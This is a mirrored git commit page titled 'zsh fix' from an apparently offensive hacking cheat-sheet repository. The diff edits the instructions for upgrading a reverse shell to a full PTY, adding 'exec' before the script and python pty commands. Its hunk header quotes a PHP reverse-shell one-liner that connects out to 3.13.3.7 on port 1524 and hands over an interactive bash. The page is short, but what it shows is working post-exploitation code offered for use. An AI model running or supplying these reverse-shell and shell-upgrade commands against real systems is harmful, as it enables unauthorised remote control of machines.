mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-05-19 22:54:43 +02:00
zsh fix
This commit is contained in:
@@ -392,14 +392,14 @@ php -r '$sock=fsockopen("3.13.3.7",1524);exec("/bin/bash -i <&3 >&3 2>&3");'
|
||||
Any of the above reverse shells are limited. For example *sudo bash* or *top* will not work. To make these work we have to upgrade the shell to a real PTY shell:
|
||||
|
||||
```
|
||||
$ script -qc /bin/bash /dev/null # Linux
|
||||
$ script -q /dev/null /bin/bash # BSD
|
||||
$ exec script -qc /bin/bash /dev/null # Linux
|
||||
$ exec script -q /dev/null /bin/bash # BSD
|
||||
```
|
||||
|
||||
Or:
|
||||
```
|
||||
# Python
|
||||
$ python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
$ exec python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
```
|
||||
|
||||
<a id="rsup2-anchor"></a>
|
||||
|
||||
Reference in New Issue
Block a user